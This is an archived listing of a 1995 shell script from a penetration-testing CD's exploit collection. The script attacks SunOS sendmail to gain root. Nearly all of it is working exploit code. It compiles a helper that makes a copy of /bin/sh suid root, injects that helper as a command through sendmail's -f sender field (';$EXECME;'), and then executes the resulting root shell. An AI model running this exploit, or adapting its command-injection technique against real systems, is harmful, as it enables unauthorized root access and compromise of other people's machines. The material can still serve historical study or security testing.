home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / roption.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  75 lines

  1. #!/bin/sh
  2. #
  3. # Syntax: roption host
  4. #
  5. # host is any system running sendmail (except localhost).
  6. #
  7. # This exploits a flaw in SunOS sendmail(8), and attempts
  8. # create a suid root shell
  9. #
  10. # Written 1995 by [8LGM]
  11. # Please do not use this script without permission.
  12. #
  13. #
  14. #
  15. #**************************************************************************
  16. #   HACK: Sendmail(8): Create suid root shells [8lgm]
  17. # System: SunOS
  18. # Source: [8lgm] at webserv@FOUR.net
  19. #   Date: Aug 24,1995
  20. #**************************************************************************
  21. #
  22.  
  23. PROG="`basename $0`"
  24. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  25. IFS=" "                          export IFS
  26.  
  27. # Check args
  28. if [ $# -ne 1 ]; then
  29.         echo "Syntax: $PROG host"
  30.         exit 1
  31. fi
  32.  
  33. # Check we're on SunOS
  34. if [ "x`uname -s`" != "xSunOS" ]; then
  35.         echo "Sorry, this only works on SunOS"
  36.         exit 1
  37. fi
  38.  
  39. PROG="`basename $0`"
  40.  
  41. EXECME=/tmp/HotterThanMojaveInMyHeart
  42.  
  43. # Create EXECME.c
  44.  
  45. cat > $EXECME.c << 'EOF'
  46. main(argc,argv)
  47. int argc;
  48. char *argv[];
  49. {
  50.         chown("/tmp/InfamousAngel", 0, 0);
  51.         chmod("/tmp/InfamousAngel", 04755);
  52. }
  53. EOF
  54.  
  55. cc -o $EXECME $EXECME.c
  56.  
  57. # Check we have EXECME
  58.  
  59. if [ ! -x $EXECME ]; then
  60.         echo "$PROG: couldnt compile $EXECME.c - check it out"
  61.         exit 1
  62. fi
  63.  
  64. /bin/cp /bin/sh /tmp/InfamousAngel
  65. # Run sendmail
  66.  
  67. /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
  68. To: No1InParticular
  69.  
  70. Hows it goin
  71. EOF
  72.  
  73. exec /tmp/InfamousAngel
  74.  
  75.